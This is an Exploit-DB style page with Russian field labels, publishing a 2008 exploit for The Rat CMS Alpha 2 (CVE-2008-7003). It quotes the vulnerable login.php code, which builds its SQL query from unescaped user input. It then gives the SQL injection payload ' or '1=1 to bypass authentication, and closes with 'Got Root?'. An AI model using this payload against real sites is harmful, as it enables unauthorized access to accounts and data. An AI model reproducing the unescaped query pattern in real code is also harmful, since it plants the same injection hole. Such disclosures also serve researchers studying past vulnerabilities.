Exploit The Rat CMS Alpha 2 - Authentication Bypass

[Exploiter]

EDB-ID

7478

Проверка EDB

1. Пройдено

Автор

X0R

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-7003

Дата публикации

2008-12-15

---------------------------------
The Rat Cms Auth By Pass
---------------------------------
Autore: x0r
Email: [email protected]
--------------------------------
Bug In: \login.php

	$sql = "SELECT user_id 
	        FROM tbl_auth_user
			WHERE user_id = '$userId' AND user_password = PASSWORD('$password')";
			
$result = mysql_query($sql) or die('Query failed. ' . mysql_error()); 

Exploit: ' or '1=1

^^ Got Root?

# milw0rm.com [2008-12-15]